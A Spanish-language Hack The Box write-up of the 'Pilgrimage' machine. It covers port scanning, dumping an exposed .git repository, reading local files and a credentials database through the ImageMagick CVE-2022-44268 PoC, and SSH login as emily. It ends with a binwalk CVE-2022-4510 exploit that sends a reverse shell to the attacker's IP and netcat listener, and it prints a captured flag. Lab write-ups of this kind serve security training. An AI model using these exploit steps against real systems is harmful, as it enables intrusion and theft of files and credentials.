HackTheBox
Pilgrimage - Hack The Box
PortScan
❯ ping -c 1 10.10.11.219
PING 10.10.11.219 (10.10.11.219) 56(84) bytes of data.
64 bytes from 10.10.11.219: icmp_seq=1 ttl=63 time=69.6 ms
--- 10.10.11.219 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 69.607/69.607/69.607/0.000 ms
Vamos a comezar escaneando puertos abirtos con Nmap por el protoclo TCP y al igual haciendo un escaneo mas agresivo para ver los servicios que se estan corriendo en los puertos que encontramos abiertos
❯ sudo nmap -sCV -p22,80 10.10.11.219 -oN targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-25 13:29 CST
Nmap scan report for 10.10.11.219
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeracion
Vemos que tenemos un sobdominio a si que vamos agregarlo al /etc/hosts
❯ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts
10.10.11.219 pilgrimage.htb
Otra forma de comprobar que se esta aplicando Virtual Hosting es con curl
❯ curl -s -I http://10.10.11.219
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sat, 25 Nov 2023 19:32:07 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://pilgrimage.htb/
Esta es la pagina Web que ofrece en el puerto 80
Tambien vemos un campo de login y un campo de registro
Pero por ahora no haremos fuerza bruta al panel de login vamos a continuar aplicando Fuzzing para descubrir nuevas rutas
❯ cat /home/miguelrega7/Hackthebox/Pilmigrage/nmap/reports/http_pilgrimage.htb/_23-11-25_13-48-53.txt
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /home/miguelrega7/Hackthebox/Pilmigrage/nmap/reports/http_pilgrimage.htb/_23-11-25_13-48-53.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Dirsearch started Sat Nov 25 13:48:58 2023 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://pilgrimage.htb
2 │
3 │ 301 169B http://pilgrimage.htb/.git -> REDIRECTS TO: http://pilgrimage.htb/.git/
4 │ 403 555B http://pilgrimage.htb/.git/branches/
5 │ 403 555B http://pilgrimage.htb/.git/
6 │ 200 2KB http://pilgrimage.htb/.git/COMMIT_EDITMSG
7 │ 200 92B http://pilgrimage.htb/.git/config
8 │ 200 73B http://pilgrimage.htb/.git/description
9 │ 200 23B http://pilgrimage.htb/.git/HEAD
10 │ 403 555B http://pilgrimage.htb/.git/hooks/
11 │ 200 4KB http://pilgrimage.htb/.git/index
12 │ 403 555B http://pilgrimage.htb/.git/info/
13 │ 200 240B http://pilgrimage.htb/.git/info/exclude
14 │ 200 195B http://pilgrimage.htb/.git/logs/HEAD
15 │ 403 555B http://pilgrimage.htb/.git/logs/
16 │ 301 169B http://pilgrimage.htb/.git/logs/refs -> REDIRECTS TO: http://pilgrimage.htb/.git/logs/refs/
17 │ 403 555B http://pilgrimage.htb/.git/objects/
18 │ 403 555B http://pilgrimage.htb/.git/refs/
19 │ 301 169B http://pilgrimage.htb/.git/refs/heads -> REDIRECTS TO: http://pilgrimage.htb/.git/refs/heads/
20 │ 301 169B http://pilgrimage.htb/.git/logs/refs/heads -> REDIRECTS TO: http://pilgrimage.htb/.git/logs/refs/heads/
21 │ 200 195B http://pilgrimage.htb/.git/logs/refs/heads/master
22 │ 200 41B http://pilgrimage.htb/.git/refs/heads/master
23 │ 301 169B http://pilgrimage.htb/.git/refs/tags -> REDIRECTS TO: http://pilgrimage.htb/.git/refs/tags/
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Vemos que hay un proyecto de Github vamos a traernolo con la herramienta git-dumper https://github.com/arthaud/git-dumper
Enumerando proyecto de Git
❯ git-dumper http://pilgrimage.htb/.git/ .
Hay vemos archivos con extension .php
❯ tree
.
├── assets
│ ├── bulletproof.php
│ ├── css
│ │ ├── animate.css
│ │ ├── custom.css
│ │ ├── flex-slider.css
│ │ ├── fontawesome.css
│ │ ├── owl.css
│ │ └── templatemo-woox-travel.css
│ ├── images
│ │ ├── banner-04.jpg
│ │ └── cta-bg.jpg
│ ├── js
│ │ ├── custom.js
│ │ ├── isotope.js
│ │ ├── isotope.min.js
│ │ ├── owl-carousel.js
│ │ ├── popup.js
│ │ └── tabs.js
│ └── webfonts
│ ├── fa-brands-400.ttf
│ ├── fa-brands-400.woff2
│ ├── fa-regular-400.ttf
│ ├── fa-regular-400.woff2
│ ├── fa-solid-900.ttf
│ ├── fa-solid-900.woff2
│ ├── fa-v4compatibility.ttf
│ └── fa-v4compatibility.woff2
├── dashboard.php
├── index.php
├── login.php
├── logout.php
├── magick
├── register.php
└── vendor
├── bootstrap
│ ├── css
│ │ └── bootstrap.min.css
│ └── js
│ └── bootstrap.min.js
└── jquery
├── jquery.js
├── jquery.min.js
├── jquery.min.map
├── jquery.slim.js
├── jquery.slim.min.js
└── jquery.slim.min.map
11 directories, 37 files
Podemos ver un nombre de un usuario potencial
❯ git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date: Wed Jun 7 20:11:48 2023 +1000
Pilgrimage image shrinking service initial commit.
Si vemos el index.php podemos ver este fragmento de codigo
<?php
session_start();
require_once "assets/bulletproof.php";
function isAuthenticated() {
return json_encode(isset($_SESSION['user']));
}
function returnUsername() {
return "\"" . $_SESSION['user'] . "\"";
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$image = new Bulletproof\Image($_FILES);
if($image["toConvert"]) {
$image->setLocation("/var/www/pilgrimage.htb/tmp");
$image->setSize(100, 4000000);
$image->setMime(array('png','jpeg'));
$upload = $image->upload();
if($upload) {
$mime = ".png";
$imagePath = $upload->getFullPath();
if(mime_content_type($imagePath) === "image/jpeg") {
$mime = ".jpeg";
}
$newname = uniqid();
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
unlink($upload->getFullPath());
$upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
if(isset($_SESSION['user'])) {
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
$stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
}
header("Location: /?message=" . $upload_path . "&status=success");
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
?>
Se esta usando ImageMagick y el codigo verifica que el metodo de la solicitud sea POST, utliza Bulletproof para manejar la carga de imágenes, la imagen redimensionada se guarda en el directorio “/var/www/pilgrimage.htb/shrunk/”, el archivo original cargado se elimina (función unlink) después de su procesamiento, si la carga y el procesamiento de la imagen son exitosos y un usuario está autenticado, el código se conecta a una base de datos SQLite ubicada en “/var/db/pilgrimage”, el código asume que el comando convert de ImageMagick está disponible en el servidor
CVE-2022-44268
Si ejecutamos el binario hay nos dan la version
❯ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
Y encontramos una vulnerabilidad
https://www.cvedetails.com/cve/CVE-2022-44268/
Si seguimos investigando encontramos un exploit https://github.com/Sybil-Scan/imagemagick-lfi-poc que nos permite leer archivos locales de la maquina a travez de una imagen
<https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC>
Aqui vemos el uso de la herramienta
❯ python3 generate.py -h
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
usage: generate.py [-h] -f LFILE -o OUTPUT
imagemagick-LFI : PoC for CVE-2022-44268
options:
-h, --help show this help message and exit
-f LFILE, --lfile LFILE
Local file to read
-o OUTPUT, --output OUTPUT
Output png file
Vamos a ver el /etc/passwd
❯ python3 generate.py -f "/etc/passwd" -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
Ahora lo vamos a subir ala web
Una vez los subimos vemos que se sube correctamente
Ahora vamos a descargar la imagen
❯ wget http://pilgrimage.htb/shrunk/6562d4832f21c.png
--2023-11-25 23:16:41-- http://pilgrimage.htb/shrunk/6562d4832f21c.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.10.11.219
Connecting to pilgrimage.htb (pilgrimage.htb)|10.10.11.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1688 (1.6K) [image/png]
Saving to: ‘6562d4832f21c.png’
6562d4832f21c.png 100%[===================================================================>] 1.65K --.-KB/s in 0s
2023-11-25 23:16:42 (102 MB/s) - ‘6562d4832f21c.png’ saved [1688/1688]
Podemos ver un monton de data
❯ identify -verbose 6562d4832f21c.png
Image:
Filename: 6562d4832f21c.png
Permissions: rw-r--r--
Format: PNG (Portable Network Graphics)
Mime type: image/png
Class: DirectClass
Geometry: 128x128+0+0
Units: Undefined
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
red: 8-bit
green: 8-bit
blue: 8-bit
Channel statistics:
Pixels: 16384
Red:
min: 1 (0.00392157)
max: 253 (0.992157)
mean: 127 (0.498039)
standard deviation: 73.8482 (0.289601)
kurtosis: -1.20334
skewness: 4.86834e-13
entropy: 1
Green:
min: 0 (0)
max: 254 (0.996078)
mean: 43.0449 (0.168804)
standard deviation: 60.431 (0.236984)
kurtosis: 0.701623
skewness: 1.3265
entropy: 0.620203
Blue:
min: 1 (0.00392157)
max: 253 (0.992157)
mean: 127 (0.498039)
standard deviation: 73.8482 (0.289601)
kurtosis: -1.20334
skewness: 2.05705e-14
entropy: 1
Image statistics:
Overall:
min: 0 (0)
max: 254 (0.996078)
mean: 99.015 (0.388294)
standard deviation: 69.3758 (0.272062)
kurtosis: -1.20718
skewness: 0.300562
entropy: 0.873401
Rendering intent: Perceptual
Gamma: 0.45455
Chromaticity:
red primary: (0.64,0.33,0.03)
green primary: (0.3,0.6,0.1)
blue primary: (0.15,0.06,0.79)
white point: (0.3127,0.329,0.3583)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 128x128+0+0
Dispose: Undefined
Iterations: 0
Compression: Zip
Orientation: Undefined
Properties:
date:create: 2023-11-26T05:16:42+00:00
date:modify: 2023-11-26T05:15:47+00:00
date:timestamp: 2023-11-26T05:17:23+00:00
png:bKGD: chunk was found (see Background color, above)
png:cHRM: chunk was found (see Chromaticity, above)
png:gAMA: gamma=0.45455 (See Gamma, above)
png:IHDR.bit-depth-orig: 8
png:IHDR.bit_depth: 8
png:IHDR.color-type-orig: 2
png:IHDR.color_type: 2 (Truecolor)
png:IHDR.interlace_method: 0 (Not interlaced)
png:IHDR.width,height: 128, 128
png:text: 4 tEXt/zTXt/iTXt chunks were found
png:tIME: 2023-11-26T05:15:47Z
Raw profile type:
1437
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signature: 78b9dfbaedd0d5cd7cb91c9ff9c2c2c925fd67a642483e6cd977973230841b28
Artifacts:
filename: 6562d4832f21c.png
verbose: true
Tainted: False
Filesize: 1688B
Number pixels: 16384
Pixels per second: 3.73642MB
User time: 0.000u
Elapsed time: 0:01.004
Version: ImageMagick 6.9.12-98 Q16 x86_64 18038 https://legacy.imagemagick.org
https://gchq.github.io/CyberChef/
Aprovechando que podemos ver archivos locales sabemos que existe un usuario que se llama emily podemos ver el archivo de la base de datos /var/db/pilgrimage para ver si podemos ver su contraseña
❯ python3 generate.py -f "/var/db/pilgrimage" -o zi.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /var/db/pilgrimage
[>] PoC PNG generated > zi.png
Una vez la descargamos vemos que es demasiada data
❯ identify -verbose 6562d6c25b8e8.png
Image:
Filename: 6562d6c25b8e8.png
Permissions: rw-r--r--
Format: PNG (Portable Network Graphics)
Mime type: image/png
Class: DirectClass
Geometry: 128x128+0+0
Units: Undefined
Colorspace: sRGB
Type: TrueColor
Base type: Undefined
Endianness: Undefined
Depth: 8-bit
Channel depth:
red: 8-bit
green: 8-bit
blue: 8-bit
Channel statistics:
Pixels: 16384
Red:
min: 1 (0.00392157)
max: 253 (0.992157)
mean: 127 (0.498039)
standard deviation: 73.8482 (0.289601)
kurtosis: -1.20334
skewness: 4.86834e-13
entropy: 1
Green:
min: 0 (0)
max: 254 (0.996078)
mean: 43.0449 (0.168804)
standard deviation: 60.431 (0.236984)
kurtosis: 0.701623
skewness: 1.3265
entropy: 0.620203
Blue:
min: 1 (0.00392157)
max: 253 (0.992157)
mean: 127 (0.498039)
standard deviation: 73.8482 (0.289601)
kurtosis: -1.20334
skewness: 2.05705e-14
entropy: 1
Image statistics:
Overall:
min: 0 (0)
max: 254 (0.996078)
mean: 99.015 (0.388294)
standard deviation: 69.3758 (0.272062)
kurtosis: -1.20718
skewness: 0.300562
entropy: 0.873401
Rendering intent: Perceptual
Gamma: 0.45455
Chromaticity:
red primary: (0.64,0.33,0.03)
green primary: (0.3,0.6,0.1)
blue primary: (0.15,0.06,0.79)
white point: (0.3127,0.329,0.3583)
Background color: white
Border color: srgb(223,223,223)
Matte color: grey74
Transparent color: black
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 128x128+0+0
Dispose: Undefined
Iterations: 0
Compression: Zip
Orientation: Undefined
Properties:
date:create: 2023-11-26T05:25:36+00:00
date:modify: 2023-11-26T05:25:22+00:00
date:timestamp: 2023-11-26T05:26:00+00:00
png:bKGD: chunk was found (see Background color, above)
png:cHRM: chunk was found (see Chromaticity, above)
png:gAMA: gamma=0.45455 (See Gamma, above)
png:IHDR.bit-depth-orig: 8
png:IHDR.bit_depth: 8
png:IHDR.color-type-orig: 2
png:IHDR.color_type: 2 (Truecolor)
png:IHDR.interlace_method: 0 (Not interlaced)
png:IHDR.width,height: 128, 128
png:text: 4 tEXt/zTXt/iTXt chunks were found
png:tIME: 2023-11-26T05:25:22Z
Raw profile type:
20480
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signature: 78b9dfbaedd0d5cd7cb91c9ff9c2c2c925fd67a642483e6cd977973230841b28
Artifacts:
filename: 6562d6c25b8e8.png
verbose: true
Tainted: False
Filesize: 1575B
Number pixels: 16384
Pixels per second: 8.43465MB
User time: 0.000u
Elapsed time: 0:01.001
Version: ImageMagick 6.9.12-98 Q16 x86_64 18038 https://legacy.imagemagick.org
Shell as emily
Pero logramos ver credenciales
Ahora podemos ver si las credenciales se reutilizan para conectarnos por SSH
❯ ssh emily@10.10.11.219
The authenticity of host '10.10.11.219 (10.10.11.219)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.219' (ED25519) to the list of known hosts.
emily@10.10.11.219's password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 26 14:43:37 2023 from 10.10.16.52
emily@pilgrimage:~$ export TERM=xterm
emily@pilgrimage:~$
User flag
Ahora podemos ver la flag
emily@pilgrimage:~$ cat user.txt
51134c0c3e6e61ab7f4c11e912209b89
emily@pilgrimage:~$
Escalada de Privilegios
Asta ahora no vemos nada interesante
emily@pilgrimage:/$ find \-perm -4000 2>/dev/null
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/bin/su
./usr/bin/chsh
./usr/bin/passwd
./usr/bin/fusermount
./usr/bin/mount
./usr/bin/chfn
./usr/bin/gpasswd
./usr/bin/newgrp
./usr/bin/sudo
./usr/bin/umount
emily@pilgrimage:/$
No tenemos ningun permiso a nivel de sudoers
emily@pilgrimage:/$ sudo -l
[sudo] password for emily:
Sorry, user emily may not run sudo on pilgrimage.
emily@pilgrimage:/$
Si hacemos un ps aux para ver tareas que se estan ejecutando encontramos lo siguiente
El usuario root esta ejecutando este script
emily@pilgrimage:/$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
emily@pilgrimage:/$
Ademas vemos que se esta usando binwalk
emily@pilgrimage:/$ binwalk -h
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...
Signature Scan Options:
-B, --signature Scan target file(s) for common file signatures
-R, --raw=<str> Scan target file(s) for the specified sequence of bytes
-A, --opcodes Scan target file(s) for common executable opcode signatures
-m, --magic=<file> Specify a custom magic file to use
-b, --dumb Disable smart signature keywords
-I, --invalid Show results marked as invalid
-x, --exclude=<str> Exclude results that match <str>
-y, --include=<str> Only show results that match <str>
Extraction Options:
-e, --extract Automatically extract known file types
-D, --dd=<type[:ext[:cmd]]> Extract <type> signatures (regular expression), give the files an extension of <ext>, and execute <cmd>
-M, --matryoshka Recursively scan extracted files
-d, --depth=<int> Limit matryoshka recursion depth (default: 8 levels deep)
-C, --directory=<str> Extract files/folders to a custom directory (default: current working directory)
-j, --size=<int> Limit the size of each extracted file
-n, --count=<int> Limit the number of extracted files
-r, --rm Delete carved files after extraction
-z, --carve Carve data from files, but don't execute extraction utilities
-V, --subdirs Extract into sub-directories named by the offset
Entropy Options:
-E, --entropy Calculate file entropy
-F, --fast Use faster, but less detailed, entropy analysis
-J, --save Save plot as a PNG
-Q, --nlegend Omit the legend from the entropy plot graph
-N, --nplot Do not generate an entropy plot graph
-H, --high=<float> Set the rising edge entropy trigger threshold (default: 0.95)
-L, --low=<float> Set the falling edge entropy trigger threshold (default: 0.85)
Binary Diffing Options:
-W, --hexdump Perform a hexdump / diff of a file or files
-G, --green Only show lines containing bytes that are the same among all files
-i, --red Only show lines containing bytes that are different among all files
-U, --blue Only show lines containing bytes that are different among some files
-u, --similar Only display lines that are the same between all files
-w, --terse Diff all files, but only display a hex dump of the first file
Raw Compression Options:
-X, --deflate Scan for raw deflate compression streams
-Z, --lzma Scan for raw LZMA compression streams
-P, --partial Perform a superficial, but faster, scan
-S, --stop Stop after the first result
General Options:
-l, --length=<int> Number of bytes to scan
-o, --offset=<int> Start scan at this file offset
-O, --base=<int> Add a base address to all printed offsets
-K, --block=<int> Set file block size
-g, --swap=<int> Reverse every n bytes before scanning
-f, --log=<file> Log results to file
-c, --csv Log results to file in CSV format
-t, --term Format output to fit the terminal window
-q, --quiet Suppress output to stdout
-v, --verbose Enable verbose output
-h, --help Show help output
-a, --finclude=<str> Only scan files whose names match this regex
-p, --fexclude=<str> Do not scan files whose names match this regex
-s, --status=<int> Enable the status server on the specified port
emily@pilgrimage:/$
Be root
Binwalk es una herramienta de análisis de firmware y archivos embebidos
Existe una vulnerabilidad con la misma version que tenemos
❯ searchsploit binwalk
-------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------- ---------------------------------
Binwalk v2.3.2 - Remote Command | python/remote/51249.py
-------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m python/remote/51249.py
Exploit: Binwalk v2.3.2 - Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/51249
Path: /usr/share/exploitdb/exploits/python/remote/51249.py
Codes: CVE-2022-4510
Verified: False
File Type: ASCII text, with very long lines (614)
Copied to: /home/miguelrega7/Hackthebox/Pilmigrage/exploits/51249.py
Con este script podemos enviarnos una reverse shell https://nvd.nist.gov/vuln/detail/CVE-2022-4510
❯ python3 51249.py exploit.png 10.10.14.152 443
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
Ahora nos ponemos en escucha
❯ sudo nc -nlvp 443
[sudo] password for miguelrega7:
listening on [any] 443 ...
Y transferimos el archivo
Ahora simplemente lo movemos ala ruta y con eso te llegaria la shell a tu listener de nc
emily@pilgrimage:/tmp$ mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk
emily@pilgrimage:/tmp$